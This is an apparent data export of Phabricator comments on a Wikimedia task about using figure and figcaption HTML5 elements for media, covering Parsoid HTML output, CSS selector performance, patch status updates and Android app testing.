+I said this because I think the place where the stylesheet is saying to hide the figcaption is misleading.  Those are inline images where it isn't even emitted and the content is placed in the data-mw.  I'll submit a patch to delete it but just cautioning about using specific examples.",,,1608002549,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+1632841,Use figure and figcaption HTML5 elements when possible,">>! In T51097#6690317, @Krinkle wrote:
+>  I assumed that as part of moving toward Parsoid used natively, would be to (start) thinking about what a page-view worthy variant would look like in terms of lighter and more performant HTML/CSS. 
+
+I am going write a slightly broader (but tangential to this specific task) response here that we should pick up separately.
+
+Parsoid has very many clients: API consumers, editing clients, reading clients (mobile, desktop, apps), etc. Every client has slight different needs. Then, there are user-preferences. There is HTML regeneration on changes to things like red links. [ And, more broadly incremental parsing as a HTML -> HTML transformation on top of the previous version, but that is a different ball of wax we'll get to some day ] And, there is HTML adaptation for language variants, and so on.
+
+It is useful to look at all these requirements as broadly HTML -> HTML transformations of some canonical representation that Parsoid generates. Over time, HTML -> HTML transformations have been developed. over whatever Parsoid generates.: MCS / PCS / Kiwix, etc.  Mobile HTML will also adapt its HTML -> HTML layer for this as well (T269499).  And sometimes those transformations get upstreamed into Parsoid (ex: section wrapping). Separately, a related qn. we've been pondering is how all these various HTML -> HTML transformations should be developed / handled? Should they be API extensions of Parsoid? Should they live in Parsoid? Should they be separate (micro)services? Which of those services' output should be cached / stored, etc.?
+
+But, what your comment there gets at is this core question of** (a) what this canonical representation ought to be and (b) what client this ought to be tuned for.**
+
+Originally, this HTML was tuned for VisualEditor (for historical reasons). And, over time, we've started to move towards read views (hence T78676). So, from this POV, figcaptions will sometimes need to be hidden because in an editing client, the nature of the image might change and so a figcaption might go from being rendered to being hidden and vice versa. That observation basically generalizes to the principle that Parsoid's canonical output should expose all information there was in source (both syntactic and semantic). That is the core value of Parsoid's output and also what enables us to roundtrip wikitext without dirty diffs and lets us use the tagline: ""We deal with wikitext so you don't have to"".
+
+That said, this can lead to a lot of bloat. So, syntactic information is mostly hidden in data-parsoid and has been stripped from source from almost the very beginning. But, semantic information exists in data-mw and in other attributes that are dispersed in the DOM. For data-mw attribute, we have T78676.
+
+Given this baseline, the question is: do we need a HTML -> HTML layer for read views on top of Parsoid's canonical HTML output? We probably all have opinions. :-) On one extreme, we could strip all semantic information and all kinds of other attributes and information to reduce the network payload. But, we think that there is value in exposing some of the semantic information in Parsoid's output by default since we aren't convinced it bloats HTML payload significantly. I say that with the observation that the core parser's HTML output is somewhat of a historical (vs intentional) baseline (much like Parsoid's targeting of its HTML for VisualEditor is a similarly historical decision and not something that makes sense once we start targeting read views).
+
+But, anyway, as we talked back in July in our meeting and [[https://www.mediawiki.org/wiki/Parsing/Parser_Unification/Performance#HTML_output_size|captured in the notes]], we should collaborate and start evaluating Parsoid's HTML payload (after compression) and see what kind of change we are seeing and establish what kind of increase is acceptable. Before we do that, I feel trying to optimize media output to drop figcaptions, etc. is probably premature. I am not convinced the byte savings we gain from doing that on a typical page is worth the additional complexity of a HTML -> HTML transformation. Of course, we should still talk through what kind of fine-tuning we need for Parsoid's canonical output so that it is as close to being ready for read views without needing a HTML -> HTML transformation. But, we should do some baseline performance studies first before we dive into that kind of work.
+
+I know you are talking about performance more broadly including rendering time, etc, not just byte overhead and I defer to you, @Jdlrobson, @arlolra. But, thanks for starting this conversation going. It has helped me put down these notes coherently - something that has been bubbling up lately in bits and pieces in different conversations. Let us take this broader conversation to a separate ticket / meeting / gdoc.",,,1608000898,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+1632812,Use figure and figcaption HTML5 elements when possible,">>! In T51097#6690317, @Krinkle wrote:
+> @Arlolra @Jdlrobson The new selectors introduced here seem quite bad in terms of performance and stability. They seem very fragile, and I don't think we should use those on production page views.
+> 
+> Code in question at [mediawiki.skinning/content.media.less](https://gerrit.wikimedia.org/r/c/mediawiki/core/+/410362/19/resources/src/mediawiki.skinning/content.media.less).
+
+As Jon said, these are not new in the sense that they are factored out of `mediawiki.skinning.content.parsoid` so that they can be reused when the legacy parser starts emitting media structured as Parsoid would.
+
+See https://gerrit.wikimedia.org/r/c/mediawiki/core/+/507512 that implements that behind a flag, `$wgUseNewMediaStructure`
+
+See https://www.mediawiki.org/wiki/Specs/HTML/2.1.0#Media to get a sense of what the HTML looks like
+
+As explained on https://www.mediawiki.org/wiki/Parsing/Media_structure, we're trying to make these changes to the legacy parser before Parsoid starts being used for read views so that the changes there are staggered and less disruptive.
+
+> Also what are these styles based on?
+
+They're based on the definitions in `mediawiki.skinning.content` for thumbnails.  I guess the idea has been to come up with set of styles to apply to Parsoid's HTML so that it renders identically to what the legacy parser is giving us for read views.  Parsoid's current styles are the result of extensive visual diffing.
+
+See https://www.mediawiki.org/wiki/Parsing/Visual_Diff_Testing
+
+However, they evolved organically to meet the stated rendering goal and were likely blind to CSS performance and stability.
+
+> Is the plan to drop these styles in favour of the styles we have but with these new selectors as their target instead of the current ones?
+
+I would think the inverse, but see the caveats at https://gerrit.wikimedia.org/r/c/mediawiki/core/+/647333/12#message-6fed1f6653aadf34efbe76c0ae42117f7d41490d
+
+> I assumed that as part of moving toward Parsoid used natively, would be to (start) thinking about what a page-view worthy variant would look like in terms of lighter and more performant HTML/CSS.
+
+Looking at T258836, there's definitely been some consideration of the size of the HTML that we're shipping but I can't recall specific tasks about browser rendering time after the content is delivered.
+
+> I think part of that (might) have to be to encode these internal assumptions about structure so that only a simple and stable selector needs to be exposed to skins.
+
+I'm not sure exactly what you mean.  Parsoid's HTML is specified at the above link.
+
+> I also worry about some of the stylehacks in here perhaps exposing potential issues with the HTML itself. It is not clear to me why some of these workarounds are needed when the current HTML does not appear to need them. Such as hiding of `figcaption` elements (why are they in the HTML?), and the mapping of `mw-valign-middle` and similar classes (why does this exist?), and numerous reliance on wildcards like `*:first-child `. This seems very surprising and is imho a blocker to address before starting to rely on this from individual skins or page views.
+
+I think we should file individual tasks for these things so they can be researched more thoroughly.  I'm happy to work towards improving `content.media.less` and agree that both performance and stability should be addressed before it's used on production page views.
+
+Note that I may be making this worse with the patches for T269704",,,1607994875,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1
+1632715,Use figure and figcaption HTML5 elements when possible,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing `mediawiki.skinning.content.parsoid` ResourceLoader module (please note these rules have been factored out of  the existing `mediawiki.skinning.content.parsoid` module https://gerrit.wikimedia.org/r/c/mediawiki/core/+/410362/19/resources/src/mediawiki.skinning/content.parsoid.less )
+
+
+My expectation is we are going to clean them up and consolidate the new `media` feature styles with `content` prior to deployment.
+",,,1607984896,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,389,,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+1632709,Use figure and figcaption HTML5 elements when possible,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing `mediawiki.skinning.content.parsoid` ResourceLoader module
+
+My expectation is we are going to clean them up and consolidate the new `media` feature styles with `content` prior to deployment.
+",,,1607984532,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,389,,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+1632706,Use figure and figcaption HTML5 elements when possible,"The rules are currently disabled for all skins. For now, this is only refactoring and working towards deprecating the existing mediawiki.skinning.content.parsoid.
+
+My expectation is we are going to clean them up and consolidate the new `media` feature styles with `content` prior to deployment.
+",,,1607984390,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,389,,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+1632689,Use figure and figcaption HTML5 elements when possible,"@Arlolra @Jdlrobson The new selectors introduced here seem quite bad in terms of performance and stability. They seem very fragile, and I don't think we should use those on production page views.
+
+Code in question at [mediawiki.skinning/content.media.less](https://gerrit.wikimedia.org/r/c/mediawiki/core/+/410362/19/resources/src/mediawiki.skinning/content.media.less).
+
+Also what are these styles based on? Is the plan to drop these styles in favour of the styles we have but with these new selectors as their target instead of the current ones? I assumed that as part of moving toward Parsoid used natively, would be to (start) thinking about what a page-view worthy variant would look like in terms of lighter and more performant HTML/CSS. I think part of that (might) have to be to encode these internal assumptions about structure so that only a simple and stable selector needs to be exposed to skins. I also worry about some of the stylehacks in here perhaps exposing potential issues with the HTML itself. It is not clear to me why some of these workarounds are needed when the current HTML does not appear to need them. Such as hiding of `figcaption` elements (why are they in the HTML?), and the mapping of `mw-valign-middle` and similar classes (why does this exist?), and numerous reliance on wildcards like `*:first-child `. This seems very surprising and is imho a blocker to address before starting to rely on this from individual skins or page views.",,,1607983473,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,389,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1
+1631572,Use figure and figcaption HTML5 elements when possible,"Change 410362 **merged** by jenkins-bot:
+[mediawiki/core@master] Share Parsoid's media styling with content
+
+https://gerrit.wikimedia.org/r/410362",,,1607716556,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,388,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1631539,Use figure and figcaption HTML5 elements when possible,"Change 647372 **merged** by jenkins-bot:
+[mediawiki/core@master] Add a feature flag to use the new media structure
+
+https://gerrit.wikimedia.org/r/647372",,,1607713852,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,388,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1631451,Use figure and figcaption HTML5 elements when possible,"Change 647372 had a related patch set uploaded (by Arlolra; owner: Arlolra):
+[mediawiki/core@master] Add a feature flag to use the new media structure
+
+https://gerrit.wikimedia.org/r/647372",,,1607705268,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,388,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1631027,Use figure and figcaption HTML5 elements when possible,"Change 410362 had a related patch set uploaded (by Arlolra; owner: Arlolra):
+[mediawiki/core@master] Share Parsoid media styling with content
+
+https://gerrit.wikimedia.org/r/410362",,,1607629897,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,388,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1273261,Use figure and figcaption HTML5 elements when possible,"Change 196532 abandoned by Arlolra:
+Use figure and figcaption HTML5 elements for media
+
+Reason:
+In favour of https://gerrit.wikimedia.org/r/c/mediawiki/core/ /507512
+
+[[https://gerrit.wikimedia.org/r/196532]]",,,1556663538,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,304,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1273258,Use figure and figcaption HTML5 elements when possible,"Change 507512 had a related patch set uploaded (by Arlolra; owner: Arlolra):
+[mediawiki/core@master] Use figure and figcaption HTML5 elements for media
+
+[[https://gerrit.wikimedia.org/r/507512]]",,,1556663464,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,304,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1271417,Use figure and figcaption HTML5 elements when possible,"Change 505645 **merged** by jenkins-bot:
+[mediawiki/core@master] Allow <figure-inline> attributes through Sanitizer
+
+[[https://gerrit.wikimedia.org/r/505645]]",,,1556305851,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,303,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1268500,Use figure and figcaption HTML5 elements when possible,"Change 505645 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
+[mediawiki/core@master] Allow <figure-inline> attributes through Sanitizer
+
+[[https://gerrit.wikimedia.org/r/505645]]",,,1555952830,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,303,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+967639,Use figure and figcaption HTML5 elements when possible,"Change 196533 abandoned by Umherirrender:
+Stop specifying element for thumbinner class
+
+Reason:
+See T178932
+
+[[https://gerrit.wikimedia.org/r/196533]]",,,1511202815,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,229,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+785979,Use figure and figcaption HTML5 elements when possible,"I'm a little confused why this is in code review. The patch is over a year old and I'm unclear what the current state of this task is - have there been new developments? Has there been a request? I see some recent comments on the ticket from @ssastry:
+> No, not to be abandoned. We had an RFC hearing around this, and the block figure image usage had approval, but inline image markup was still to be resolved. Brion and Scott were going to do some follow up around that. Separately, we need to figure out transition plans for when we move to <figure> markup since it will break user scripts, gadgets, etc. So, all those are blockers on getting this merged and deployed.
+
+Seems there is a lot more to work out here before we can help review this task?
+
+(Is someone more in the loop able to refresh the description so it does not date back to the Bugzilla days? :))",,,1483413867,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,183,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+785978,Use figure and figcaption HTML5 elements when possible,"I'm a little confused why this is in code review. The patch is over a year old and I'm unclear what the current state of this task is - have there been new developments? Has there been a request? I see some recent comments on the ticket from @ssastry:
+> No, not to be abandoned. We had an RFC hearing around this, and the block figure image usage had approval, but inline image markup was still to be resolved. Brion and Scott were going to do some follow up around that. Separately, we need to figure out transition plans for when we move to <figure> markup since it will break user scripts, gadgets, etc. So, all those are blockers on getting this merged and deployed.
+
+Seems there is a lot more to work out here before we can help review this task?
+",,,1483413836,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,183,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+573290,Use figure and figcaption HTML5 elements when possible,@niedzielski: cool.,,,1449265385,,PHID-USER-srhlj2447vmpmrfhqnfa,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+573256,Use figure and figcaption HTML5 elements when possible,"@dr0ptp4kt, since this requires the Content Service to point at a local Vagrant instance, a local RESTBase and maybe also a local Parsoid install will be necessary. It'll take me a little while to get that configured. Unless this is urgent, let's see if @bearND can run this test.",,,1449261814,,PHID-USER-6tlavgtsosjuvizsej53,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0
+572809,Use figure and figcaption HTML5 elements when possible,"@mholloway and @niedzielski, are you able to verify no degradation of user experience with the Mobile Content Service in force with this patch, too? CC @bearND in case this task needs to wait until next week.",,,1449198930,,PHID-USER-srhlj2447vmpmrfhqnfa,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+572807,Use figure and figcaption HTML5 elements when possible,"Thanks, @niedzielski!",,,1449198765,,PHID-USER-srhlj2447vmpmrfhqnfa,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+572788,Use figure and figcaption HTML5 elements when possible,"@dr0ptp4kt, a quick follow up on gallery. The gallery images have their own request[0]. I also double checked functionally on a couple devices:
+
+## API 10 master and patch {F3046104} {F3046106}
+
+## API 23 master and patch {F3046116} {F3046118}
+
+For _even more_ thoroughness, here's link preview[1] which uses the same request as the gallery on master and its own request on Gingerbread:
+
+## API 10 master and patch {F3046108} {F3046110}
+
+## API 23 master and patch {F3046120} {F3046122}
+
+[0] https://phabricator.wikimedia.org/diffusion/APAW/browse/master/app/src/main/java/org/wikipedia/page/gallery/GalleryCollectionFetchTask.java
+[1] These look trash because I don't have all the extensions installed. The trash looks different on different APIs because the requests[2,3] and extract processing has changed since Gingerbread[4].
+[2] http://192.168.1.11:8080/w/api.php?action=query&format=json&titles=Thomas_Jefferson&continue=&prop=extracts%7Cpageimages%7Cpageterms&redirects=true&exchars=512&explaintext=true&piprop=thumbnail%7Cname&pithumbsize=320&wbptterms=description
+[3] http://192.168.1.11:8080/w/api.php?action=query&format=json&formatversion=2&prop=extracts%7Cpageimages&redirects=true&exsentences=5&explaintext=true&piprop=thumbnail%7Cname&pithumbsize=320&titles=Thomas_Jefferson
+[4] https://phabricator.wikimedia.org/rAPAWd945afc63d8025a2ae1198987f0b8cf95dc74efa#a0928e81",,,1449194986,,PHID-USER-6tlavgtsosjuvizsej53,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,0,1,0,1
+572571,Use figure and figcaption HTML5 elements when possible,"## Results
+I877baf403088c716ad8e89752008b7a59b7e466c appears to work properly for the Android app, both master and the old deprecated Gingerbread version. I did not test the PhoneGap version. There are slight padding differences on some APIs but I think they're acceptable.
+
+## Setup
+I don't play with a local MW instance enough so please excuse the verbose notes for verification.
+
+I checked out master and made a page with some images. I checked out the patch and made another page with the same content. I can see that the master page has divs and the patch page has figures.
+
+I visited the two pages in the Android app (master and our old deprecated Gingerbread version-- not PhoneGap) on a number of devices.
+
+For posterity, some screen caps:
+
+## API 10 master and patch {F3045482} {F3045480}
+
+## API 19 master and patch {F3045484} {F3045486}
+
+## API 23 master and patch {F3045488} {F3045490}
+
+## Fire master and patch {F3045493} {F3045495}
+
+ ",,,1449179179,,PHID-USER-6tlavgtsosjuvizsej53,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,126,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+494576,Use figure and figcaption HTML5 elements when possible,"Change 196532 restored by Cscott:
+Use figure and figcaption HTML5 elements in Linker::makeThumbLink2
+
+Reason:
+I don't think abandoning this is helpful.  I'll put a -2 on it though to prevent premature commit.
+
+[[https://gerrit.wikimedia.org/r/196532]]",,,1437515671,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,107,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+493821,Use figure and figcaption HTML5 elements when possible,"Change 196532 abandoned by Prtksxna:
+Use figure and figcaption HTML5 elements in Linker::makeThumbLink2
+
+Reason:
+Can be unabandoned whenever we're ready.
+
+[[https://gerrit.wikimedia.org/r/196532]]",,,1437392905,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,107,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+491971,Use figure and figcaption HTML5 elements when possible,I believe @TStarling and the parsing team have agreed on a long-term plan to make the PHP parser output and Parsoid output converge.,,,1436994247,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,106,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+483853,Use figure and figcaption HTML5 elements when possible,">>! In T51097#1157239, @matmarex wrote:
+>>>! In T51097#1155608, @Mattflaschen wrote:
+>> In what cases would someone need to explicitly use figcaption from wikitext (the main point is for people to use File tags, and the parser to generate them)?
+> 
+> https://en.wikipedia.org/wiki/Template:Multiple_image and other such templates need to replicate the HTML of the image thumbnails.
+
+I'm not opposing `<figure>` in wikitext per se, but templates don't need it. They just have to look similar. There shouldn't be any styles specific to the figure elements in core. The classname on `<div>` will suffice and result in the same visual appearance and behaviour.
+
